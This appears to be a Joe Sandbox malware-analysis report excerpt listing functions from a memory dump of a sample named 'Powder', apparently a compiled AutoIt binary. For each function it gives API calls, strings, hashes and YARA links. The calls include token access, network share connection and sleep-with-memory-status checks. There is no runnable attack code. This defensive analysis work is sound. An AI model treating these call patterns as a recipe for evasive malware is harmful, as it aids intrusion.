GetCurrentThreadId.KERNEL32 ref: 00E5AA89
AttachThreadInput.USER32(00000000), ref: 00E5AA90

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: ca77e67c177ee2db06759f9b0d785fc2195b25d7964f2566b52b0a24bc6330dc
Instruction ID: 14440da3a00c78f07c99bdd073576a76eafe458953a474cb69eec03ec5746842
Opcode Fuzzy Hash: ca77e67c177ee2db06759f9b0d785fc2195b25d7964f2566b52b0a24bc6330dc
Instruction Fuzzy Hash: B1E03972541228BEDB215FA29D0CEEB3F1CEF117A2F448122F909A4462C7718558CBA0

Function 00E025F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00E0260D
SetTextColor.GDI32(?,000000FF), ref: 00E02617
SetBkMode.GDI32(?,00000001), ref: 00E0262C
GetStockObject.GDI32(00000005), ref: 00E02634
GetWindowDC.USER32(?,00000000), ref: 00E3C1C4
GetPixel.GDI32(00000000,00000000,00000000), ref: 00E3C1D1
GetPixel.GDI32(00000000,?,00000000), ref: 00E3C1EA
GetPixel.GDI32(00000000,00000000,?), ref: 00E3C203
GetPixel.GDI32(00000000,?,?), ref: 00E3C223
ReleaseDC.USER32(?,00000000), ref: 00E3C22E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 404adc95475d2436775efda19d51a179e7282f68e12a4ba02ea27f6ee0905f32
Instruction ID: 861925cb01c2342a602ff4b626cbc11a5618cae3299ef4d837090bd307809a1d
Opcode Fuzzy Hash: 404adc95475d2436775efda19d51a179e7282f68e12a4ba02ea27f6ee0905f32
Instruction Fuzzy Hash: 74E03932505244AEDB215FAAAC0DBE83B21EB05336F548367FA69680E187724984DB11

Function 00E59330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00E59339
OpenThreadToken.ADVAPI32(00000000,?,?,?,00E58F04), ref: 00E59340
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00E58F04), ref: 00E5934D
OpenProcessToken.ADVAPI32(00000000,?,?,?,00E58F04), ref: 00E59354

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 7cd9a72a818789b54f81ffde3d7d3baf58ef35cd2144721dd9f715d5197f9390
Instruction ID: 39c366b0dc4851649f71fe95f050939de99714e5a6b8f5e4f12fceb22674e60f
Opcode Fuzzy Hash: 7cd9a72a818789b54f81ffde3d7d3baf58ef35cd2144721dd9f715d5197f9390
Instruction Fuzzy Hash: 79E08632601211DFD7205FB29D0DB9A3B6CEF50796F104C5ABA45E9091E734944CC750

Function 00E40679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00E40679
GetDC.USER32(00000000), ref: 00E40683
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E406A3
ReleaseDC.USER32(?), ref: 00E406C4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 501a0d8a8da7e095d98f9759b81f6e5cf77beed4981437fb655e3e4246b4ce36
Instruction ID: 6ae0d2cc0e562a8724972038cbdb7ecc719eddb4ab7e46f8a8767d6471bc18e7
Opcode Fuzzy Hash: 501a0d8a8da7e095d98f9759b81f6e5cf77beed4981437fb655e3e4246b4ce36
Instruction Fuzzy Hash: BFE0E5B2800204EFCB019F65D808A9D7BF1AF88310F51845AF95AF7650CB7895959F50

Function 00E4068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00E4068D
GetDC.USER32(00000000), ref: 00E40697
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E406A3
ReleaseDC.USER32(?), ref: 00E406C4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 4686212897768b48e7c017a91c65009adb416fc8b57f4e33cafe865a698e673e
Instruction ID: e92bacfe4b0feabb16da9467e5fe84a6ace9aa53cdbca97a4056b9fa2d3cadfb
Opcode Fuzzy Hash: 4686212897768b48e7c017a91c65009adb416fc8b57f4e33cafe865a698e673e
Instruction Fuzzy Hash: B7E012B2800204EFCB019FA6D808A9D7FF2AF8C320F50840AF95AF7290CB7895958F50

Function 00E6B5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00E1436A: _wcscpy.LIBCMT ref: 00E1438D

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

__wcsnicmp.LIBCMT ref: 00E6B670
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00E6B739

Strings

LPT, xrefs: 00E6B66A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 218328d96933b9d1db78a9f38a0bf8830e73707644bb1dece151b3fc82aa11eb
Instruction ID: 1fcdb340b6772ecbaf777a38827c337449652d83e573297f2ed5f1905e7196f6
Opcode Fuzzy Hash: 218328d96933b9d1db78a9f38a0bf8830e73707644bb1dece151b3fc82aa11eb
Instruction Fuzzy Hash: CE616FB5A40219AFCB14DF54D981EAEB7F4EF48350F00915AF946FB291D770AE81CB50

Function 00E47190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E47237
_memmove.LIBCMT ref: 00E47291

Strings

#V, xrefs: 00E4730B, 00E4CAB3, 00E4CACF

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memmove
String ID: #V
API String ID: 4104443479-3658881132
Opcode ID: 2407371db873264cb70e8286f114befc795b8fba78090c78daa5dc2e1da954d9
Instruction ID: a767a5d694a82dd4c1ef3097fcdb96ff97cfe0c337446e02536ceba90d61adc6
Opcode Fuzzy Hash: 2407371db873264cb70e8286f114befc795b8fba78090c78daa5dc2e1da954d9
Instruction Fuzzy Hash: A1516270901609DFCF24CF68D880AEEBBF1FF45304F24552AE85AE7250E731A995CB91

Function 00E0E00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00E0E01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 00E0E037

Strings

@, xrefs: 00E0E02B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 8e03f94dfcacbcc392ea7c9ee9f68b14e4009f48d733a70d71f48b474ccf3078
Instruction ID: e397b04ee437e0dcf738377cca5218f87f4bd87a2c58b8ce48073025ec9c4399
Opcode Fuzzy Hash: 8e03f94dfcacbcc392ea7c9ee9f68b14e4009f48d733a70d71f48b474ccf3078
Instruction Fuzzy Hash: B45159B24087449BE320AF51EC85BAFB7F8FF85314F41484DF2D8511A1DB709568CB26

Function 00E88096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00E88186
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00E8819B

Strings

', xrefs: 00E880EF

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 81fc018be359b0010ecbdedd5d144f2e01f862278bd244317531472c8a5fefe4
Instruction ID: ce5b2d5cdedc3bc25b97125d5498c7151fee1462c4d787854f0b94d89ec2e7ac
Opcode Fuzzy Hash: 81fc018be359b0010ecbdedd5d144f2e01f862278bd244317531472c8a5fefe4
Instruction Fuzzy Hash: 1E411674A012099FDB14DF69C985BDABBB5FF08300F50116AED48AB392DB31A946CF90

Function 00E87088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00E8713C
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00E87178

Strings

static, xrefs: 00E870D8

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 9d41e740cfb612217fe279b3b7d5e2945c03719526c337cce9ced4371a409683
Instruction ID: 7527baaad7d71368c91332cf34a109f1a112bccf6af52161ac8fa47ce886e2f5
Opcode Fuzzy Hash: 9d41e740cfb612217fe279b3b7d5e2945c03719526c337cce9ced4371a409683
Instruction Fuzzy Hash: 8F317E71100604AEDB10AF74CC84AFB77A9FF88764F10A61AF99DA7191DB31AC81DB60

Function 00E63049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E630B8
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00E630F3

Strings

0, xrefs: 00E630B1

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: a6d4e61eedecf5fdb7906f39eddc08bc11142566d14bf77a313a01bf549ab4c1
Instruction ID: ecddbff1a4c1feb9c33ea1f827727b73ccfcf0c025b260189b9f2a0e9daf4cdf
Opcode Fuzzy Hash: a6d4e61eedecf5fdb7906f39eddc08bc11142566d14bf77a313a01bf549ab4c1
Instruction Fuzzy Hash: DF31D531641205AFEB248F68E985FAEBBF8EF063D4F145019E985B61A2D7709F44CB50

Function 00E740B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00E74132

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Strings

AUTOITCALLVARIABLE%d, xrefs: 00E74124
, $, xrefs: 00E74172

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 04b9eae84ad031b93496783543b4af4e4e80ba0b1e400b6f7d1dd5c388745e89
Instruction ID: 1898413556826dc5ee69f6f483332acfd4d809b145cc84a875b3419448be0fbf
Opcode Fuzzy Hash: 04b9eae84ad031b93496783543b4af4e4e80ba0b1e400b6f7d1dd5c388745e89
Instruction Fuzzy Hash: 80216471A0021DABCF14EF64C892EEE77F9EF54340F845498F909B7181DB70A985CBA1

Function 00E86CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00E86D86
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E86D91

Strings

Combobox, xrefs: 00E86D53

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: f259956e449e9785eb86c8ca9679ba166991d72ff51de97c03b12c901ee0543b
Instruction ID: b3fb16484994224cf34f7e24b3876bc8684d5928feb78d69d2068042a1c8d6ba
Opcode Fuzzy Hash: f259956e449e9785eb86c8ca9679ba166991d72ff51de97c03b12c901ee0543b
Instruction Fuzzy Hash: F0118271310209BFEF11AF55DC81EFB3BAAEB84368F115129F91CAB2D0D6719C518760

Function 00E8722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00E02111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00E0214F
Part of subcall function 00E02111: GetStockObject.GDI32(00000011), ref: 00E02163
Part of subcall function 00E02111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00E0216D

GetWindowRect.USER32(00000000,?), ref: 00E87296
GetSysColor.USER32(00000012), ref: 00E872B0

Strings

static, xrefs: 00E87273

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 1a5055758fc071342832cd89483383427468459bf7e717e7f1540baa01d770ca
Instruction ID: 62bbe3798ab2301fd6b333484612c8e22734f36aa72e4b0adda766f0633d0302
Opcode Fuzzy Hash: 1a5055758fc071342832cd89483383427468459bf7e717e7f1540baa01d770ca
Instruction Fuzzy Hash: B221477261420AAFDF04DFA8CC45EEA7BA8EB48304F105519FD99E3250D735E8519B50

Function 00E86F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00E86FC7
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00E86FD6

Strings

edit, xrefs: 00E86FAB

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 40045bc2310763ac09854b0d304902ba5e1fe37c0cd875f599ca2b093703df2b
Instruction ID: c77acd6799415fe55a6e6d5932fdbf9513bb42e686d45dbc89ca00300bfd6bb5
Opcode Fuzzy Hash: 40045bc2310763ac09854b0d304902ba5e1fe37c0cd875f599ca2b093703df2b
Instruction Fuzzy Hash: 26118271200208AFEB106E64EC44EEB3BA9EB05368F505714FA6CB71D0C775DC519B60

Function 00E63156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E631C9
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00E631E8

Strings

0, xrefs: 00E631BF

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: a2a8bf7669a4a0513732743dc5f57b48ecc3b623af941e9febccad79f9db7341
Instruction ID: a99d51a3c8905325ac20c163c5a2ab1d46daf231a4a7602912a806ffcc66b0d2
Opcode Fuzzy Hash: a2a8bf7669a4a0513732743dc5f57b48ecc3b623af941e9febccad79f9db7341
Instruction Fuzzy Hash: 4B112635942114AFDB20DAB8EC05F9D77F8AB07384F142126E851B72A0D731AF05CF90

Function 00E034E4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 00E0351D
DestroyWindow.USER32(?,?,00E14E61), ref: 00E03576

Strings

h, xrefs: 00E034E5

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: DeleteDestroyObjectWindow
String ID: h
API String ID: 2587070983-1717268160
Opcode ID: 88937ee6f3c117dc9ef914d09bfeae6def0dab612e3a5479199d6b3761443392
Instruction ID: 59ec16c482d25c70acfad9481b1c1cf5db1133406f556dca25efe2fc7f01fdd8
Opcode Fuzzy Hash: 88937ee6f3c117dc9ef914d09bfeae6def0dab612e3a5479199d6b3761443392
Instruction Fuzzy Hash: FA211271609220CFCB18DF2AEC58E6533E5A744315B046169E946BB3F5D732DE8ACF41

Function 00E6D116 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00E6D180

Strings

L,, xrefs: 00E6D12E
0.0.0.0, xrefs: 00E6D18E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _wcscmp
String ID: 0.0.0.0$L,
API String ID: 856254489-1974781669
Opcode ID: 818f4c70633dd241ec073b439ecf9a43bbfcb51ca158c14d18f485b77f52a5d9
Instruction ID: 1c503e050cddfe0276dcc8d49d705e71066340bfa226f874fd3f8f8d9ee1e2ac
Opcode Fuzzy Hash: 818f4c70633dd241ec073b439ecf9a43bbfcb51ca158c14d18f485b77f52a5d9
Instruction Fuzzy Hash: 2C11B2B5B442059FCB04EF14D981EAAB3F5AF85715F509049EA097F3E1CA70ED82CB50

Function 00E78475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00E786E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00E7849D,?,00000000,?,?), ref: 00E786F7

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00E784A0
htons.WSOCK32(00000000,?,00000000), ref: 00E784DD

Strings

255.255.255.255, xrefs: 00E784B8

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

